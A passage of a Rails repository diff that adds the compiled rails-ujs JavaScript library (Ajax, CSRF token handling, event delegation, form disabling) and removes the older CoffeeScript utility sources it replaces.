+  }
+  window.addEventListener("pageshow", (function() {
+    $(formEnableSelector).forEach((function(el) {
+      if (getData(el, "ujs:disabled")) {
+        enableElement(el);
+      }
+    }));
+    $(linkDisableSelector).forEach((function(el) {
+      if (getData(el, "ujs:disabled")) {
+        enableElement(el);
+      }
+    }));
+  }));
+  delegate(document, linkDisableSelector, "ajax:complete", enableElement);
+  delegate(document, linkDisableSelector, "ajax:stopped", enableElement);
+  delegate(document, buttonDisableSelector, "ajax:complete", enableElement);
+  delegate(document, buttonDisableSelector, "ajax:stopped", enableElement);
+  delegate(document, linkClickSelector, "click", preventInsignificantClick);
+  delegate(document, linkClickSelector, "click", handleDisabledElement);
+  delegate(document, linkClickSelector, "click", handleConfirm);
+  delegate(document, linkClickSelector, "click", disableElement);
+  delegate(document, linkClickSelector, "click", handleRemote);
+  delegate(document, linkClickSelector, "click", handleMethod);
+  delegate(document, buttonClickSelector, "click", preventInsignificantClick);
+  delegate(document, buttonClickSelector, "click", handleDisabledElement);
+  delegate(document, buttonClickSelector, "click", handleConfirm);
+  delegate(document, buttonClickSelector, "click", disableElement);
+  delegate(document, buttonClickSelector, "click", handleRemote);
+  delegate(document, inputChangeSelector, "change", handleDisabledElement);
+  delegate(document, inputChangeSelector, "change", handleConfirm);
+  delegate(document, inputChangeSelector, "change", handleRemote);
+  delegate(document, formSubmitSelector, "submit", handleDisabledElement);
+  delegate(document, formSubmitSelector, "submit", handleConfirm);
+  delegate(document, formSubmitSelector, "submit", handleRemote);
+  delegate(document, formSubmitSelector, "submit", (e => setTimeout((() => disableElement(e)), 13)));
+  delegate(document, formSubmitSelector, "ajax:send", disableElement);
+  delegate(document, formSubmitSelector, "ajax:complete", enableElement);
+  delegate(document, formInputClickSelector, "click", preventInsignificantClick);
+  delegate(document, formInputClickSelector, "click", handleDisabledElement);
+  delegate(document, formInputClickSelector, "click", handleConfirm);
+  delegate(document, formInputClickSelector, "click", formSubmitButtonClick);
+  document.addEventListener("DOMContentLoaded", refreshCSRFTokens);
+  document.addEventListener("DOMContentLoaded", loadCSPNonce);
+  return window._rails_loaded = true;
+};
+
+Rails.start = start;
+
+if (typeof jQuery !== "undefined" && jQuery && jQuery.ajax) {
+  if (jQuery.rails) {
+    throw new Error("If you load both jquery_ujs and rails-ujs, use rails-ujs only.");
+  }
+  jQuery.rails = Rails;
+  jQuery.ajaxPrefilter((function(options, originalOptions, xhr) {
+    if (!options.crossDomain) {
+      return CSRFProtection(xhr);
+    }
+  }));
+}
+
+export { Rails as default };
diff --git a/actionview/app/assets/javascripts/rails-ujs.js b/actionview/app/assets/javascripts/rails-ujs.js
new file mode 100644
index 0000000000000..035a5210473e1
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs.js
@@ -0,0 +1,630 @@
+/*
+Unobtrusive JavaScript
+https://github.com/rails/rails/blob/main/actionview/app/javascript
+Released under the MIT license
+ */
+(function(global, factory) {
+  typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, 
+  global.Rails = factory());
+})(this, (function() {
+  "use strict";
+  const linkClickSelector = "a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]";
+  const buttonClickSelector = {
+    selector: "button[data-remote]:not([form]), button[data-confirm]:not([form])",
+    exclude: "form button"
+  };
+  const inputChangeSelector = "select[data-remote], input[data-remote], textarea[data-remote]";
+  const formSubmitSelector = "form:not([data-turbo=true])";
+  const formInputClickSelector = "form:not([data-turbo=true]) input[type=submit], form:not([data-turbo=true]) input[type=image], form:not([data-turbo=true]) button[type=submit], form:not([data-turbo=true]) button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])";
+  const formDisableSelector = "input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled";
+  const formEnableSelector = "input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled";
+  const fileInputSelector = "input[name][type=file]:not([disabled])";
+  const linkDisableSelector = "a[data-disable-with], a[data-disable]";
+  const buttonDisableSelector = "button[data-remote][data-disable-with], button[data-remote][data-disable]";
+  let nonce = null;
+  const loadCSPNonce = () => {
+    const metaTag = document.querySelector("meta[name=csp-nonce]");
+    return nonce = metaTag && metaTag.content;
+  };
+  const cspNonce = () => nonce || loadCSPNonce();
+  const m = Element.prototype.matches || Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector;
+  const matches = function(element, selector) {
+    if (selector.exclude) {
+      return m.call(element, selector.selector) && !m.call(element, selector.exclude);
+    } else {
+      return m.call(element, selector);
+    }
+  };
+  const EXPANDO = "_ujsData";
+  const getData = (element, key) => element[EXPANDO] ? element[EXPANDO][key] : undefined;
+  const setData = function(element, key, value) {
+    if (!element[EXPANDO]) {
+      element[EXPANDO] = {};
+    }
+    return element[EXPANDO][key] = value;
+  };
+  const $ = selector => Array.prototype.slice.call(document.querySelectorAll(selector));
+  const isContentEditable = function(element) {
+    var isEditable = false;
+    do {
+      if (element.isContentEditable) {
+        isEditable = true;
+        break;
+      }
+      element = element.parentElement;
+    } while (element);
+    return isEditable;
+  };
+  const csrfToken = () => {
+    const meta = document.querySelector("meta[name=csrf-token]");
+    return meta && meta.content;
+  };
+  const csrfParam = () => {
+    const meta = document.querySelector("meta[name=csrf-param]");
+    return meta && meta.content;
+  };
+  const CSRFProtection = xhr => {
+    const token = csrfToken();
+    if (token) {
+      return xhr.setRequestHeader("X-CSRF-Token", token);
+    }
+  };
+  const refreshCSRFTokens = () => {
+    const token = csrfToken();
+    const param = csrfParam();
+    if (token && param) {
+      return $('form input[name="' + param + '"]').forEach((input => input.value = token));
+    }
+  };
+  const AcceptHeaders = {
+    "*": "*/*",
+    text: "text/plain",
+    html: "text/html",
+    xml: "application/xml, text/xml",
+    json: "application/json, text/javascript",
+    script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
+  };
+  const ajax = options => {
+    options = prepareOptions(options);
+    var xhr = createXHR(options, (function() {
+      const response = processResponse(xhr.response != null ? xhr.response : xhr.responseText, xhr.getResponseHeader("Content-Type"));
+      if (Math.floor(xhr.status / 100) === 2) {
+        if (typeof options.success === "function") {
+          options.success(response, xhr.statusText, xhr);
+        }
+      } else {
+        if (typeof options.error === "function") {
+          options.error(response, xhr.statusText, xhr);
+        }
+      }
+      return typeof options.complete === "function" ? options.complete(xhr, xhr.statusText) : undefined;
+    }));
+    if (options.beforeSend && !options.beforeSend(xhr, options)) {
+      return false;
+    }
+    if (xhr.readyState === XMLHttpRequest.OPENED) {
+      return xhr.send(options.data);
+    }
+  };
+  var prepareOptions = function(options) {
+    options.url = options.url || location.href;
+    options.type = options.type.toUpperCase();
+    if (options.type === "GET" && options.data) {
+      if (options.url.indexOf("?") < 0) {
+        options.url += "?" + options.data;
+      } else {
+        options.url += "&" + options.data;
+      }
+    }
+    if (!(options.dataType in AcceptHeaders)) {
+      options.dataType = "*";
+    }
+    options.accept = AcceptHeaders[options.dataType];
+    if (options.dataType !== "*") {
+      options.accept += ", */*; q=0.01";
+    }
+    return options;
+  };
+  var createXHR = function(options, done) {
+    const xhr = new XMLHttpRequest;
+    xhr.open(options.type, options.url, true);
+    xhr.setRequestHeader("Accept", options.accept);
+    if (typeof options.data === "string") {
+      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
+    }
+    if (!options.crossDomain) {
+      xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+      CSRFProtection(xhr);
+    }
+    xhr.withCredentials = !!options.withCredentials;
+    xhr.onreadystatechange = function() {
+      if (xhr.readyState === XMLHttpRequest.DONE) {
+        return done(xhr);
+      }
+    };
+    return xhr;
+  };
+  var processResponse = function(response, type) {
+    if (typeof response === "string" && typeof type === "string") {
+      if (type.match(/\bjson\b/)) {
+        try {
+          response = JSON.parse(response);
+        } catch (error) {}
+      } else if (type.match(/\b(?:java|ecma)script\b/)) {
+        const script = document.createElement("script");
+        script.setAttribute("nonce", cspNonce());
+        script.text = response;
+        document.head.appendChild(script).parentNode.removeChild(script);
+      } else if (type.match(/\b(xml|html|svg)\b/)) {
+        const parser = new DOMParser;
+        type = type.replace(/;.+/, "");
+        try {
+          response = parser.parseFromString(response, type);
+        } catch (error1) {}
+      }
+    }
+    return response;
+  };
+  const href = element => element.href;
+  const isCrossDomain = function(url) {
+    const originAnchor = document.createElement("a");
+    originAnchor.href = location.href;
+    const urlAnchor = document.createElement("a");
+    try {
+      urlAnchor.href = url;
+      return !((!urlAnchor.protocol || urlAnchor.protocol === ":") && !urlAnchor.host || originAnchor.protocol + "//" + originAnchor.host === urlAnchor.protocol + "//" + urlAnchor.host);
+    } catch (e) {
+      return true;
+    }
+  };
+  let preventDefault;
+  let {CustomEvent: CustomEvent} = window;
+  if (typeof CustomEvent !== "function") {
+    CustomEvent = function(event, params) {
+      const evt = document.createEvent("CustomEvent");
+      evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
+      return evt;
+    };
+    CustomEvent.prototype = window.Event.prototype;
+    ({preventDefault: preventDefault} = CustomEvent.prototype);
+    CustomEvent.prototype.preventDefault = function() {
+      const result = preventDefault.call(this);
+      if (this.cancelable && !this.defaultPrevented) {
+        Object.defineProperty(this, "defaultPrevented", {
+          get() {
+            return true;
+          }
+        });
+      }
+      return result;
+    };
+  }
+  const fire = (obj, name, data) => {
+    const event = new CustomEvent(name, {
+      bubbles: true,
+      cancelable: true,
+      detail: data
+    });
+    obj.dispatchEvent(event);
+    return !event.defaultPrevented;
+  };
+  const stopEverything = e => {
+    fire(e.target, "ujs:everythingStopped");
+    e.preventDefault();
+    e.stopPropagation();
+    e.stopImmediatePropagation();
+  };
+  const delegate = (element, selector, eventType, handler) => element.addEventListener(eventType, (function(e) {
+    let {target: target} = e;
+    while (!!(target instanceof Element) && !matches(target, selector)) {
+      target = target.parentNode;
+    }
+    if (target instanceof Element && handler.call(target, e) === false) {
+      e.preventDefault();
+      e.stopPropagation();
+    }
+  }));
+  const toArray = e => Array.prototype.slice.call(e);
+  const serializeElement = (element, additionalParam) => {
+    let inputs = [ element ];
+    if (matches(element, "form")) {
+      inputs = toArray(element.elements);
+    }
+    const params = [];
+    inputs.forEach((function(input) {
+      if (!input.name || input.disabled) {
+        return;
+      }
+      if (matches(input, "fieldset[disabled] *")) {
+        return;
+      }
+      if (matches(input, "select")) {
+        toArray(input.options).forEach((function(option) {
+          if (option.selected) {
+            params.push({
+              name: input.name,
+              value: option.value
+            });
+          }
+        }));
+      } else if (input.checked || [ "radio", "checkbox", "submit" ].indexOf(input.type) === -1) {
+        params.push({
+          name: input.name,
+          value: input.value
+        });
+      }
+    }));
+    if (additionalParam) {
+      params.push(additionalParam);
+    }
+    return params.map((function(param) {
+      if (param.name) {
+        return `${encodeURIComponent(param.name)}=${encodeURIComponent(param.value)}`;
+      } else {
+        return param;
+      }
+    })).join("&");
+  };
+  const formElements = (form, selector) => {
+    if (matches(form, "form")) {
+      return toArray(form.elements).filter((el => matches(el, selector)));
+    } else {
+      return toArray(form.querySelectorAll(selector));
+    }
+  };
+  const handleConfirmWithRails = rails => function(e) {
+    if (!allowAction(this, rails)) {
+      stopEverything(e);
+    }
+  };
+  const confirm = (message, element) => window.confirm(message);
+  var allowAction = function(element, rails) {
+    let callback;
+    const message = element.getAttribute("data-confirm");
+    if (!message) {
+      return true;
+    }
+    let answer = false;
+    if (fire(element, "confirm")) {
+      try {
+        answer = rails.confirm(message, element);
+      } catch (error) {}
+      callback = fire(element, "confirm:complete", [ answer ]);
+    }
+    return answer && callback;
+  };
+  const handleDisabledElement = function(e) {
+    const element = this;
+    if (element.disabled) {
+      stopEverything(e);
+    }
+  };
+  const enableElement = e => {
+    let element;
+    if (e instanceof Event) {
+      if (isXhrRedirect(e)) {
+        return;
+      }
+      element = e.target;
+    } else {
+      element = e;
+    }
+    if (isContentEditable(element)) {
+      return;
+    }
+    if (matches(element, linkDisableSelector)) {
+      return enableLinkElement(element);
+    } else if (matches(element, buttonDisableSelector) || matches(element, formEnableSelector)) {
+      return enableFormElement(element);
+    } else if (matches(element, formSubmitSelector)) {
+      return enableFormElements(element);
+    }
+  };
+  const disableElement = e => {
+    const element = e instanceof Event ? e.target : e;
+    if (isContentEditable(element)) {
+      return;
+    }
+    if (matches(element, linkDisableSelector)) {
+      return disableLinkElement(element);
+    } else if (matches(element, buttonDisableSelector) || matches(element, formDisableSelector)) {
+      return disableFormElement(element);
+    } else if (matches(element, formSubmitSelector)) {
+      return disableFormElements(element);
+    }
+  };
+  var disableLinkElement = function(element) {
+    if (getData(element, "ujs:disabled")) {
+      return;
+    }
+    const replacement = element.getAttribute("data-disable-with");
+    if (replacement != null) {
+      setData(element, "ujs:enable-with", element.innerHTML);
+      element.innerHTML = replacement;
+    }
+    element.addEventListener("click", stopEverything);
+    return setData(element, "ujs:disabled", true);
+  };
+  var enableLinkElement = function(element) {
+    const originalText = getData(element, "ujs:enable-with");
+    if (originalText != null) {
+      element.innerHTML = originalText;
+      setData(element, "ujs:enable-with", null);
+    }
+    element.removeEventListener("click", stopEverything);
+    return setData(element, "ujs:disabled", null);
+  };
+  var disableFormElements = form => formElements(form, formDisableSelector).forEach(disableFormElement);
+  var disableFormElement = function(element) {
+    if (getData(element, "ujs:disabled")) {
+      return;
+    }
+    const replacement = element.getAttribute("data-disable-with");
+    if (replacement != null) {
+      if (matches(element, "button")) {
+        setData(element, "ujs:enable-with", element.innerHTML);
+        element.innerHTML = replacement;
+      } else {
+        setData(element, "ujs:enable-with", element.value);
+        element.value = replacement;
+      }
+    }
+    element.disabled = true;
+    return setData(element, "ujs:disabled", true);
+  };
+  var enableFormElements = form => formElements(form, formEnableSelector).forEach((element => enableFormElement(element)));
+  var enableFormElement = function(element) {
+    const originalText = getData(element, "ujs:enable-with");
+    if (originalText != null) {
+      if (matches(element, "button")) {
+        element.innerHTML = originalText;
+      } else {
+        element.value = originalText;
+      }
+      setData(element, "ujs:enable-with", null);
+    }
+    element.disabled = false;
+    return setData(element, "ujs:disabled", null);
+  };
+  var isXhrRedirect = function(event) {
+    const xhr = event.detail ? event.detail[0] : undefined;
+    return xhr && xhr.getResponseHeader("X-Xhr-Redirect");
+  };
+  const handleMethodWithRails = rails => function(e) {
+    const link = this;
+    const method = link.getAttribute("data-method");
+    if (!method) {
+      return;
+    }
+    if (isContentEditable(this)) {
+      return;
+    }
+    const href = rails.href(link);
+    const csrfToken$1 = csrfToken();
+    const csrfParam$1 = csrfParam();
+    const form = document.createElement("form");
+    let formContent = `<input name='_method' value='${method}' type='hidden' />`;
+    if (csrfParam$1 && csrfToken$1 && !isCrossDomain(href)) {
+      formContent += `<input name='${csrfParam$1}' value='${csrfToken$1}' type='hidden' />`;
+    }
+    formContent += '<input type="submit" />';
+    form.method = "post";
+    form.action = href;
+    form.target = link.target;
+    form.innerHTML = formContent;
+    form.style.display = "none";
+    document.body.appendChild(form);
+    form.querySelector('[type="submit"]').click();
+    stopEverything(e);
+  };
+  const isRemote = function(element) {
+    const value = element.getAttribute("data-remote");
+    return value != null && value !== "false";
+  };
+  const handleRemoteWithRails = rails => function(e) {
+    let data, method, url;
+    const element = this;
+    if (!isRemote(element)) {
+      return true;
+    }
+    if (!fire(element, "ajax:before")) {
+      fire(element, "ajax:stopped");
+      return false;
+    }
+    if (isContentEditable(element)) {
+      fire(element, "ajax:stopped");
+      return false;
+    }
+    const withCredentials = element.getAttribute("data-with-credentials");
+    const dataType = element.getAttribute("data-type") || "script";
+    if (matches(element, formSubmitSelector)) {
+      const button = getData(element, "ujs:submit-button");
+      method = getData(element, "ujs:submit-button-formmethod") || element.getAttribute("method") || "get";
+      url = getData(element, "ujs:submit-button-formaction") || element.getAttribute("action") || location.href;
+      if (method.toUpperCase() === "GET") {
+        url = url.replace(/\?.*$/, "");
+      }
+      if (element.enctype === "multipart/form-data") {
+        data = new FormData(element);
+        if (button != null) {
+          data.append(button.name, button.value);
+        }
+      } else {
+        data = serializeElement(element, button);
+      }
+      setData(element, "ujs:submit-button", null);
+      setData(element, "ujs:submit-button-formmethod", null);
+      setData(element, "ujs:submit-button-formaction", null);
+    } else if (matches(element, buttonClickSelector) || matches(element, inputChangeSelector)) {
+      method = element.getAttribute("data-method");
+      url = element.getAttribute("data-url");
+      data = serializeElement(element, element.getAttribute("data-params"));
+    } else {
+      method = element.getAttribute("data-method");
+      url = rails.href(element);
+      data = element.getAttribute("data-params");
+    }
+    ajax({
+      type: method || "GET",
+      url: url,
+      data: data,
+      dataType: dataType,
+      beforeSend(xhr, options) {
+        if (fire(element, "ajax:beforeSend", [ xhr, options ])) {
+          return fire(element, "ajax:send", [ xhr ]);
+        } else {
+          fire(element, "ajax:stopped");
+          return false;
+        }
+      },
+      success(...args) {
+        return fire(element, "ajax:success", args);
+      },
+      error(...args) {
+        return fire(element, "ajax:error", args);
+      },
+      complete(...args) {
+        return fire(element, "ajax:complete", args);
+      },
+      crossDomain: isCrossDomain(url),
+      withCredentials: withCredentials != null && withCredentials !== "false"
+    });
+    stopEverything(e);
+  };
+  const formSubmitButtonClick = function(e) {
+    const button = this;
+    const {form: form} = button;
+    if (!form) {
+      return;
+    }
+    if (button.name) {
+      setData(form, "ujs:submit-button", {
+        name: button.name,
+        value: button.value
+      });
+    }
+    setData(form, "ujs:formnovalidate-button", button.formNoValidate);
+    setData(form, "ujs:submit-button-formaction", button.getAttribute("formaction"));
+    return setData(form, "ujs:submit-button-formmethod", button.getAttribute("formmethod"));
+  };
+  const preventInsignificantClick = function(e) {
+    const link = this;
+    const method = (link.getAttribute("data-method") || "GET").toUpperCase();
+    const data = link.getAttribute("data-params");
+    const metaClick = e.metaKey || e.ctrlKey;
+    const insignificantMetaClick = metaClick && method === "GET" && !data;
+    const nonPrimaryMouseClick = e.button != null && e.button !== 0;
+    if (nonPrimaryMouseClick || insignificantMetaClick) {
+      e.stopImmediatePropagation();
+    }
+  };
+  const Rails = {
+    $: $,
+    ajax: ajax,
+    buttonClickSelector: buttonClickSelector,
+    buttonDisableSelector: buttonDisableSelector,
+    confirm: confirm,
+    cspNonce: cspNonce,
+    csrfToken: csrfToken,
+    csrfParam: csrfParam,
+    CSRFProtection: CSRFProtection,
+    delegate: delegate,
+    disableElement: disableElement,
+    enableElement: enableElement,
+    fileInputSelector: fileInputSelector,
+    fire: fire,
+    formElements: formElements,
+    formEnableSelector: formEnableSelector,
+    formDisableSelector: formDisableSelector,
+    formInputClickSelector: formInputClickSelector,
+    formSubmitButtonClick: formSubmitButtonClick,
+    formSubmitSelector: formSubmitSelector,
+    getData: getData,
+    handleDisabledElement: handleDisabledElement,
+    href: href,
+    inputChangeSelector: inputChangeSelector,
+    isCrossDomain: isCrossDomain,
+    linkClickSelector: linkClickSelector,
+    linkDisableSelector: linkDisableSelector,
+    loadCSPNonce: loadCSPNonce,
+    matches: matches,
+    preventInsignificantClick: preventInsignificantClick,
+    refreshCSRFTokens: refreshCSRFTokens,
+    serializeElement: serializeElement,
+    setData: setData,
+    stopEverything: stopEverything
+  };
+  const handleConfirm = handleConfirmWithRails(Rails);
+  Rails.handleConfirm = handleConfirm;
+  const handleMethod = handleMethodWithRails(Rails);
+  Rails.handleMethod = handleMethod;
+  const handleRemote = handleRemoteWithRails(Rails);
+  Rails.handleRemote = handleRemote;
+  const start = function() {
+    if (window._rails_loaded) {
+      throw new Error("rails-ujs has already been loaded!");
+    }
+    window.addEventListener("pageshow", (function() {
+      $(formEnableSelector).forEach((function(el) {
+        if (getData(el, "ujs:disabled")) {
+          enableElement(el);
+        }
+      }));
+      $(linkDisableSelector).forEach((function(el) {
+        if (getData(el, "ujs:disabled")) {
+          enableElement(el);
+        }
+      }));
+    }));
+    delegate(document, linkDisableSelector, "ajax:complete", enableElement);
+    delegate(document, linkDisableSelector, "ajax:stopped", enableElement);
+    delegate(document, buttonDisableSelector, "ajax:complete", enableElement);
+    delegate(document, buttonDisableSelector, "ajax:stopped", enableElement);
+    delegate(document, linkClickSelector, "click", preventInsignificantClick);
+    delegate(document, linkClickSelector, "click", handleDisabledElement);
+    delegate(document, linkClickSelector, "click", handleConfirm);
+    delegate(document, linkClickSelector, "click", disableElement);
+    delegate(document, linkClickSelector, "click", handleRemote);
+    delegate(document, linkClickSelector, "click", handleMethod);
+    delegate(document, buttonClickSelector, "click", preventInsignificantClick);
+    delegate(document, buttonClickSelector, "click", handleDisabledElement);
+    delegate(document, buttonClickSelector, "click", handleConfirm);
+    delegate(document, buttonClickSelector, "click", disableElement);
+    delegate(document, buttonClickSelector, "click", handleRemote);
+    delegate(document, inputChangeSelector, "change", handleDisabledElement);
+    delegate(document, inputChangeSelector, "change", handleConfirm);
+    delegate(document, inputChangeSelector, "change", handleRemote);
+    delegate(document, formSubmitSelector, "submit", handleDisabledElement);
+    delegate(document, formSubmitSelector, "submit", handleConfirm);
+    delegate(document, formSubmitSelector, "submit", handleRemote);
+    delegate(document, formSubmitSelector, "submit", (e => setTimeout((() => disableElement(e)), 13)));
+    delegate(document, formSubmitSelector, "ajax:send", disableElement);
+    delegate(document, formSubmitSelector, "ajax:complete", enableElement);
+    delegate(document, formInputClickSelector, "click", preventInsignificantClick);
+    delegate(document, formInputClickSelector, "click", handleDisabledElement);
+    delegate(document, formInputClickSelector, "click", handleConfirm);
+    delegate(document, formInputClickSelector, "click", formSubmitButtonClick);
+    document.addEventListener("DOMContentLoaded", refreshCSRFTokens);
+    document.addEventListener("DOMContentLoaded", loadCSPNonce);
+    return window._rails_loaded = true;
+  };
+  Rails.start = start;
+  if (typeof jQuery !== "undefined" && jQuery && jQuery.ajax) {
+    if (jQuery.rails) {
+      throw new Error("If you load both jquery_ujs and rails-ujs, use rails-ujs only.");
+    }
+    jQuery.rails = Rails;
+    jQuery.ajaxPrefilter((function(options, originalOptions, xhr) {
+      if (!options.crossDomain) {
+        return CSRFProtection(xhr);
+      }
+    }));
+  }
+  if (typeof exports !== "object" && typeof module === "undefined") {
+    window.Rails = Rails;
+    if (fire(document, "rails:attachBindings")) {
+      start();
+    }
+  }
+  return Rails;
+}));
diff --git a/actionview/app/assets/javascripts/utils/ajax.coffee b/actionview/app/assets/javascripts/utils/ajax.coffee
deleted file mode 100644
index 9af515beda877..0000000000000
--- a/actionview/app/assets/javascripts/utils/ajax.coffee
+++ /dev/null
@@ -1,95 +0,0 @@
-#= require ./csrf
-#= require ./event
-
-{ CSRFProtection, fire } = Rails
-
-AcceptHeaders =
-  '*': '*/*'
-  text: 'text/plain'
-  html: 'text/html'
-  xml: 'application/xml, text/xml'
-  json: 'application/json, text/javascript'
-  script: 'text/javascript, application/javascript, application/ecmascript, application/x-ecmascript'
-
-Rails.ajax = (options) ->
-  options = prepareOptions(options)
-  xhr = createXHR options, ->
-    response = processResponse(xhr.response, xhr.getResponseHeader('Content-Type'))
-    if xhr.status // 100 == 2
-      options.success?(response, xhr.statusText, xhr)
-    else
-      options.error?(response, xhr.statusText, xhr)
-    options.complete?(xhr, xhr.statusText)
-  # Call beforeSend hook
-  options.beforeSend?(xhr, options)
-  # Send the request
-  if xhr.readyState is XMLHttpRequest.OPENED
-    xhr.send(options.data)
-  else
-    fire(document, 'ajaxStop') # to be compatible with jQuery.ajax
-
-prepareOptions = (options) ->
-  options.type = options.type.toUpperCase()
-  # append data to url if it's a GET request
-  if options.type is 'GET' and options.data
-    if options.url.indexOf('?') < 0
-      options.url += '?' + options.data
-    else
-      options.url += '&' + options.data
-  # Use "*" as default dataType
-  options.dataType = '*' unless AcceptHeaders[options.dataType]?
-  options.accept = AcceptHeaders[options.dataType]
-  options.accept += ', */*; q=0.01' if options.dataType isnt '*'
-  options
-
-createXHR = (options, done) ->
-  xhr = new XMLHttpRequest()
-  # Open and setup xhr
-  xhr.open(options.type, options.url, true)
-  xhr.setRequestHeader('Accept', options.accept)
-  # Set Content-Type only when sending a string
-  # Sending FormData will automatically set Content-Type to multipart/form-data
-  if typeof options.data is 'string'
-    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8')
-  xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest') unless options.crossDomain
-  # Add X-CSRF-Token
-  CSRFProtection(xhr)
-  xhr.withCredentials = !!options.withCredentials
-  xhr.onreadystatechange = ->
-    done(xhr) if xhr.readyState is XMLHttpRequest.DONE
-  xhr
-
-processResponse = (response, type) ->
-  if typeof response is 'string' and typeof type is 'string'
-    if type.match(/\bjson\b/)
-      try response = JSON.parse(response)
-    else if type.match(/\bjavascript\b/)
-      script = document.createElement('script')
-      script.innerHTML = response
-      document.body.appendChild(script)
-    else if type.match(/\b(xml|html|svg)\b/)
-      parser = new DOMParser()
-      type = type.replace(/;.+/, '') # remove something like ';charset=utf-8'
-      try response = parser.parseFromString(response, type)
-  response
-
-# Default way to get an element's href. May be overridden at Rails.href.
-Rails.href = (element) -> element.href
-
-# Determines if the request is a cross domain request.
-Rails.isCrossDomain = (url) ->
-  originAnchor = document.createElement('a')
-  originAnchor.href = location.href
-  urlAnchor = document.createElement('a')
-  try
-    urlAnchor.href = url
-    # If URL protocol is false or is a string containing a single colon
-    # *and* host are false, assume it is not a cross-domain request
-    # (should only be the case for IE7 and IE compatibility mode).
-    # Otherwise, evaluate protocol and host of the URL against the origin
-    # protocol and host.
-    !(((!urlAnchor.protocol || urlAnchor.protocol == ':') && !urlAnchor.host) ||
-      (originAnchor.protocol + '//' + originAnchor.host == urlAnchor.protocol + '//' + urlAnchor.host))
-  catch e
-    # If there is an error parsing the URL, assume it is crossDomain.
-    true
diff --git a/actionview/app/assets/javascripts/utils/csrf.coffee b/actionview/app/assets/javascripts/utils/csrf.coffee
deleted file mode 100644
index 4eb5ebb414bbf..0000000000000
--- a/actionview/app/assets/javascripts/utils/csrf.coffee
+++ /dev/null
@@ -1,25 +0,0 @@
-#= require ./dom
-
-{ $ } = Rails
-
-# Up-to-date Cross-Site Request Forgery token
-csrfToken = Rails.csrfToken = ->
-  meta = document.querySelector('meta[name=csrf-token]')
-  meta and meta.content
-
-# URL param that must contain the CSRF token
-csrfParam = Rails.csrfParam = ->
-  meta = document.querySelector('meta[name=csrf-param]')
-  meta and meta.content
-
-# Make sure that every Ajax request sends the CSRF token
-Rails.CSRFProtection = (xhr) ->
-  token = csrfToken()
-  xhr.setRequestHeader('X-CSRF-Token', token) if token?
-
-# Make sure that all forms have actual up-to-date tokens (cached forms contain old ones)
-Rails.refreshCSRFTokens = ->
-  token = csrfToken()
-  param = csrfParam()
-  if token? and param?
-    $('form input[name="' + param + '"]').forEach (input) -> input.value = token
diff --git a/actionview/app/assets/javascripts/utils/dom.coffee b/actionview/app/assets/javascripts/utils/dom.coffee
deleted file mode 100644
index 6bef618147bfe..0000000000000
--- a/actionview/app/assets/javascripts/utils/dom.coffee
+++ /dev/null
@@ -1,28 +0,0 @@
-m = Element.prototype.matches or
-    Element.prototype.matchesSelector or
-    Element.prototype.mozMatchesSelector or
-    Element.prototype.msMatchesSelector or
-    Element.prototype.oMatchesSelector or
-    Element.prototype.webkitMatchesSelector
-
-Rails.matches = (element, selector) ->
-  if selector.exclude?
-    m.call(element, selector.selector) and not m.call(element, selector.exclude)
-  else
-    m.call(element, selector)
-
-# get and set data on a given element using "expando properties"
-# See: https://developer.mozilla.org/en-US/docs/Glossary/Expando
-expando = '_ujsData'
-
-Rails.getData = (element, key) ->
-  element[expando]?[key]
-
-Rails.setData = (element, key, value) ->
-  element[expando] ?= {}
-  element[expando][key] = value
-
-# a wrapper for document.querySelectorAll
-# returns an Array
-Rails.$ = (selector) ->
-  Array.prototype.slice.call(document.querySelectorAll(selector))
diff --git a/actionview/app/assets/javascripts/utils/event.coffee b/actionview/app/assets/javascripts/utils/event.coffee
deleted file mode 100644
index d25fe8e546a99..0000000000000
--- a/actionview/app/assets/javascripts/utils/event.coffee
+++ /dev/null
@@ -1,40 +0,0 @@
-#= require ./dom
-
-{ matches } = Rails
-
-# Polyfill for CustomEvent in IE9+
-# https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent#Polyfill
-CustomEvent = window.CustomEvent
-
-if typeof CustomEvent is 'function'
-  CustomEvent = (event, params) ->
-    evt = document.createEvent('CustomEvent')
-    evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail)
-    evt
-  CustomEvent.prototype = window.Event.prototype
-
-# Triggers a custom event on an element and returns false if the event result is false
-fire = Rails.fire = (obj, name, data) ->
-  event = new CustomEvent(
-    name,
-    bubbles: true,
-    cancelable: true,
-    detail: data,
-  )
-  obj.dispatchEvent(event)
-  !event.defaultPrevented
-
-# Helper function, needed to provide consistent behavior in IE
-Rails.stopEverything = (e) ->
-  fire(e.target, 'ujs:everythingStopped')
-  e.preventDefault()
-  e.stopPropagation()
-  e.stopImmediatePropagation()
-
-Rails.delegate = (element, selector, eventType, handler) ->
-  element.addEventListener eventType, (e) ->
-    target = e.target
-    target = target.parentNode until not (target instanceof Element) or matches(target, selector)
-    if target instanceof Element and handler.call(target, e) == false
-      e.preventDefault()
-      e.stopPropagation()
diff --git a/actionview/app/assets/javascripts/utils/form.coffee b/actionview/app/assets/javascripts/utils/form.coffee
deleted file mode 100644
index 251113deda45f..0000000000000
--- a/actionview/app/assets/javascripts/utils/form.coffee
+++ /dev/null
@@ -1,61 +0,0 @@
-#= require ./dom
-
-{ matches } = Rails
-
-toArray = (e) -> Array.prototype.slice.call(e)
-
